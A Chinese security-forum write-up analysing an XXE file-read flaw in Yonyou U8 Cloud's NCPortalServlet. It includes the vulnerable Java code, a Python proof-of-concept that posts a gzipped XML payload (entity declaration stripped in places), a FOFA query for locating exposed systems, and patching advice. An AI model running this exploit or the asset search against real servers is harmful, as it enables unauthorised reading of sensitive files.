问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
用友 U8Cloud NCPortalServlet XXE漏洞分析
渗透测试
U8cloud系统NCPortalServlet接口存在XML注入漏洞,攻击者未经授权可以访问系统文件中的数据,造成敏感信息泄露
一、漏洞简介 ------ U8cloud系统`NCPortalServlet`接口存在XML注入漏洞,攻击者未经授权可以访问系统文件中的数据,造成敏感信息泄露。 二、影响版本 ------ 1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp 三、漏洞原理分析 -------- 漏洞位于`NCPortalServlet`接口处,文件路径为`nc.merp.bs.maportal.NCPortalServlet`  这个漏洞在一开始审计时候,直观看代码没有明显的可以回显的地方,想用dtd外带内容,但是很明显U8 Cloud的系统对外部实体做了安全限制,始终报错`The name of the entity is required in the entity declaration.` 但是深入漏洞才发现不一定需要dtd才能读取文件内容,漏洞代码在`doAction`方法中,如下 ```php public void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { StringBuffer data = new StringBuffer( "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n"); Logger.init("merp"); Document doc = null; data.append("<data>\r\n").append("<result>\r\n"); try { DocumentBuilder builder = DocumentBuilderFactory.newInstance() .newDocumentBuilder(); String xmlmsg = MerpZIP.UnzipStream(request); doc = builder.parse(new InputSource(new StringReader(xmlmsg))); XPath xpath = XPathFactory.newInstance().newXPath(); String transType = xpath.evaluate("/data/transinfo/@type", doc); String accountCode = xpath.evaluate("/data/transinfo/accountcode", doc); String dsname = AccountXMLUtil.findDsNameByAccountCode(accountCode); PfUtilTools.regDataSourceForServlet(dsname); INCMERPServletHandler handler = null; if ("portal_login".equalsIgnoreCase(transType)) { handler = new PortalLoginNCHandler(); } else { throw new ServletException("unknown transinfo type: " + transType); } String retrStr = handler.handler(doc); data.append(retrStr); data.append("</result>"); data.append("</data>\r\n"); response.setCharacterEncoding("UTF-8"); request.setCharacterEncoding("UTF-8"); response.setContentType("application/gzip"); MerpZIP.ZipStream(response, data.toString()); } catch (Exception e) { Logger.error(e.getMessage(), e); e.printStackTrace(); if (e instanceof NCBusinessException) { NCBusinessException exce = (NCBusinessException)e; data.append("<tranflag>").append(exce.getErrCode()).append("</tranflag>\r\n"); data.append("<description>").append("处理失败:").append(e.getMessage()) .append("</description>\r\n"); data.append("</result>"); data.append("</data>\r\n"); } else { data.append("<tranflag>").append(1).append("</tranflag>\r\n"); data.append("<description>").append("处理失败:").append(e.getMessage()) .append("</description>\r\n"); data.append("</result>"); data.append("</data>\r\n"); } MerpZIP.ZipStream(response, data.toString()); } } ``` 主要代码是`DocumentBuilderFactory`解析了前端传入的内容,而后端对前端传入使用了`gzip`解压缩内容 ```php DocumentBuilder builder = DocumentBuilderFactory.newInstance() .newDocumentBuilder(); String xmlmsg = MerpZIP.UnzipStream(request); doc = builder.parse(new InputSource(new StringReader(xmlmsg))); XPath xpath = XPathFactory.newInstance().newXPath(); String transType = xpath.evaluate("/data/transinfo/@type", doc); String accountCode = xpath.evaluate("/data/transinfo/accountcode", doc); String dsname = AccountXMLUtil.findDsNameByAccountCode(accountCode); PfUtilTools.regDataSourceForServlet(dsname); ``` `DocumentBuilderFactory`是常见的解析XML造成漏洞的方法了,这里就不多赘述 方法最后有一个抛出异常的方法,能够结合XXE把文件内容抛出来 ```php if (e instanceof NCBusinessException) { NCBusinessException exce = (NCBusinessException)e; data.append("<tranflag>").append(exce.getErrCode()).append("</tranflag>\r\n"); data.append("<description>").append("处理失败:").append(e.getMessage()) .append("</description>\r\n"); data.append("</result>"); data.append("</data>\r\n"); } else { data.append("<tranflag>").append(1).append("</tranflag>\r\n"); data.append("<description>").append("处理失败:").append(e.getMessage()) .append("</description>\r\n"); data.append("</result>"); data.append("</data>\r\n"); } MerpZIP.ZipStream(response, data.toString()); } ``` 漏洞最后一块拼图在上面的查询账套编码数据源的方法`AccountXMLUtil.findDsNameByAccountCode` 这里接收一个`accountCode`去查询,如果异常会抛出`accountCode`的信息,把XXE加载的poc放在`accountCode`参数里面,构造XML如下,因为文章过滤字符的问题,我附一个完整XML的图片在这里  ```php <?xml version="1.0"?> ]> <data> <transinfo type="portal_login"> <accountcode>&xxe;</accountcode> </transinfo> </data> ``` 当服务器解析这个XML时,就会把`C://windows/win.ini`文件内容插入到`<accountcode>`字段中,最后报错信息中一起带出来返回给前端 写一个Python脚本去测试请求 ```php import gzip import requests import io # 构造 XML 内容,使用 % 替代 % content = '''<?xml version="1.0"?> ]> <data> <transinfo type="portal_login"> <accountcode>&xxe;</accountcode> </transinfo> </data>''' # GZIP 压缩 compressed_content = gzip.compress(content.encode('utf-8')) # 目标地址 url = 'http://目标地址/servlet/~uap/nc.merp.bs.maportal.NCPortalServlet' # 发送请求 try: response = requests.post(url=url, data=compressed_content) print("请求成功,状态码:", response.status_code) # 尝试自动解压 GZIP 响应 if response.headers.get('Content-Encoding') == 'gzip' or response.content.startswith(b'\x1f\x8b'): buf = io.BytesIO(response.content) with gzip.GzipFile(fileobj=buf) as f: content = f.read().decode('utf-8') else: content = response.text print("响应内容:") print(content) except Exception as e: print("请求失败,错误信息:", e) ``` 请求成功获取到后端返回的内容  去URL解码下,就可以看到`C://windows/win.ini`内容被带出来返回了,验证漏洞利用成功  四、总结 ---- U8cloud系统`NCPortalServlet`接口的方法中`DocumentBuilderFactory`解析了前端传入的XML内容,结合其中自带的抛出异常方法,攻击者可以获取任意系统文件内容,造成敏感信息泄露。 五、资产测绘 ------ FOFA语法 ```php app="用友-U8-Cloud" ```  六、漏洞复现 ------ POC,写一个Python脚本构造POC去测试请求 ```php import gzip import requests import io # 构造 XML 内容,使用 % 替代 % content = '''<?xml version="1.0"?> ]> <data> <transinfo type="portal_login"> <accountcode>&xxe;</accountcode> </transinfo> </data>''' # GZIP 压缩 compressed_content = gzip.compress(content.encode('utf-8')) # 目标地址 url = 'http://目标地址/servlet/~uap/nc.merp.bs.maportal.NCPortalServlet' # 发送请求 try: response = requests.post(url=url, data=compressed_content) print("请求成功,状态码:", response.status_code) # 尝试自动解压 GZIP 响应 if response.headers.get('Content-Encoding') == 'gzip' or response.content.startswith(b'\x1f\x8b'): buf = io.BytesIO(response.content) with gzip.GzipFile(fileobj=buf) as f: content = f.read().decode('utf-8') else: content = response.text print("响应内容:") print(content) except Exception as e: print("请求失败,错误信息:", e) ``` 请求成功获取到后端返回的内容  去URL解码下,就可以看到`C://windows/win.ini`内容被带出来返回了,验证漏洞利用成功  七、修复建议 ------ 安装用友U8cloud最新的补丁,或修改对应方法中直接解析XML语句的问题,使用更安全的XML加载策略防止注入。
发表于 2025-05-13 17:00:01
阅读 ( 323 )
分类:
OA产品
1 推荐
收藏
0 条评论
请先
登录
后评论
chobits
8 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!